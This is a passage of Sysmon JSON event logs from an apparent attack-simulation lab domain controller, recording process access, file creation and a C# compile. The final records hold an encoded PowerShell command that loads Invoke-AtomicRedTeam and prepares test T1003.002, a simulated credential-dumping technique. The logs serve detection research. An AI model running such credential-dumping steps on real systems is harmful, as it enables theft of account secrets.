11:56:15.680","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:16","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:15","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4961,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:15.680\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:15.680","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:16","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:15","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4962,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:15.680\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:15.680","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:16","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:15","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4963,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:15.680\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:15.680","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:16","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:15","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4964,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:15.680\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:15.680","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:16","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:15","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4965,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:15.680\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:15.680","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:16","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:15","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4966,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:15.680\r\nSourceProcessGUID: {90617006-415E-5F2D-0000-0010E0580700}\r\nSourceProcessId: 1276\r\nSourceThreadId: 4304\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-415F-5F2D-0000-0010AD9B0700}\r\nTargetProcessId: 4228\r\nTargetImage: C:\\Windows\\system32\\whoami.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:15.680","SourceProcessGUID":"{90617006-415E-5F2D-0000-0010E0580700}","SourceProcessId":"1276","SourceThreadId":"4304","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-415F-5F2D-0000-0010AD9B0700}","TargetProcessId":"4228","TargetImage":"C:\\Windows\\system32\\whoami.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:16","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:15","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":4967,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 11:56:15.852\r\nProcessGuid: {90617006-415F-5F2D-0000-001026810700}\r\nProcessId: 5076\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetFilename: C:\\Users\\Administrator\\AppData\\Local\\Temp\\zde3uuuu\\zde3uuuu.dll\r\nCreationUtcTime: 2020-08-07 11:56:15.852","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 11:56:15.852","ProcessGuid":"{90617006-415F-5F2D-0000-001026810700}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetFilename":"C:\\Users\\Administrator\\AppData\\Local\\Temp\\zde3uuuu\\zde3uuuu.dll","CreationUtcTime":"2020-08-07 11:56:15.852","EventReceivedTime":"2020-08-07 11:56:16","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:15","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":4968,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:15.852\r\nProcessGuid: {90617006-415F-5F2D-0000-001026810700}\r\nProcessId: 5076\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetFilename: C:\\Users\\Administrator\\AppData\\Local\\Temp\\zde3uuuu\\zde3uuuu.cmdline\r\nCreationUtcTime: 2020-08-07 11:56:15.852","Category":"File created (rule: FileCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:56:15.852","ProcessGuid":"{90617006-415F-5F2D-0000-001026810700}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetFilename":"C:\\Users\\Administrator\\AppData\\Local\\Temp\\zde3uuuu\\zde3uuuu.cmdline","CreationUtcTime":"2020-08-07 11:56:15.852","EventReceivedTime":"2020-08-07 11:56:16","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:15","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":4969,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:15.855\r\nProcessGuid: {90617006-415F-5F2D-0000-0010CF9E0700}\r\nProcessId: 4288\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe\r\nFileVersion: 4.7.2053.0 built by: NET47REL1\r\nDescription: Visual C# Command Line Compiler\r\nProduct: Microsoft® .NET Framework\r\nCompany: Microsoft Corporation\r\nOriginalFileName: csc.exe\r\nCommandLine: \"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe\" /noconfig /fullpaths @\"C:\\Users\\Administrator\\AppData\\Local\\Temp\\zde3uuuu\\zde3uuuu.cmdline\"\r\nCurrentDirectory: C:\\Users\\Administrator\\\r\nUser: ATTACKRANGE\\Administrator\r\nLogonGuid: {90617006-415E-5F2D-0000-002024580700}\r\nLogonId: 0x75824\r\nTerminalSessionId: 0\r\nIntegrityLevel: High\r\nHashes: MD5=4360A98D8785625667D2574D2DD5C988,SHA256=F7DB25AA420C14C514690C1E943EC1E729596973E911B3445DFAD42FE958711D,IMPHASH=ED2AE001A3FDD84BDC04C99A98883A52\r\nParentProcessGuid: {90617006-415F-5F2D-0000-001026810700}\r\nParentProcessId: 5076\r\nParentImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nParentCommandLine: \"powershell.exe\" -noninteractive -encodedcommand WwBDAG8AbgBzAG8AbABlAF0AOgA6AEkAbgBwAHUAdABFAG4AYwBvAGQAaQBuAGcAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFQAZQB4AHQALgBVAFQARgA4AEUAbgBjAG8AZABpAG4AZwAgACQAZgBhAGwAcwBlADsAIABJAG0AcABvAHIAdAAtAE0AbwBkAHUAbABlACAAIgBDADoAXABBAHQAbwBtAGkAYwBSAGUAZABUAGUAYQBtAFwAaQBuAHYAbwBrAGUALQBhAHQAbwBtAGkAYwByAGUAZAB0AGUAYQBtAFwASQBuAHYAbwBrAGUALQBBAHQAbwBtAGkAYwBSAGUAZABUAGUAYQBtAC4AcABzAGQAMQAiACAALQBGAG8AcgBjAGUACgBJAG4AdgBvAGsAZQAtAEEAdABvAG0AaQBjAFQAZQBzAHQAIAAiAFQAMQAwADAAMwAuADAAMAAyACIAIAAtAEcAZQB0AFAAcgBlAHIAZQBxAHMA","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:56:15.855","ProcessGuid":"{90617006-415F-5F2D-0000-0010CF9E0700}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe","FileVersion":"4.7.2053.0 built by: NET47REL1","Description":"Visual C# Command Line Compiler","Product":"Microsoft® .NET Framework","Company":"Microsoft Corporation","OriginalFileName":"csc.exe","CommandLine":"\"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe\" /noconfig /fullpaths @\"C:\\Users\\Administrator\\AppData\\Local\\Temp\\zde3uuuu\\zde3uuuu.cmdline\"","CurrentDirectory":"C:\\Users\\Administrator\\","User":"ATTACKRANGE\\Administrator","LogonGuid":"{90617006-415E-5F2D-0000-002024580700}","LogonId":"0x75824","TerminalSessionId":"0","IntegrityLevel":"High","Hashes":"MD5=4360A98D8785625667D2574D2DD5C988,SHA256=F7DB25AA420C14C514690C1E943EC1E729596973E911B3445DFAD42FE958711D,IMPHASH=ED2AE001A3FDD84BDC04C99A98883A52","ParentProcessGuid":"{90617006-415F-5F2D-0000-001026810700}","ParentProcessId":"5076","ParentImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","ParentCommandLine":"\"powershell.exe\" -noninteractive -encodedcommand 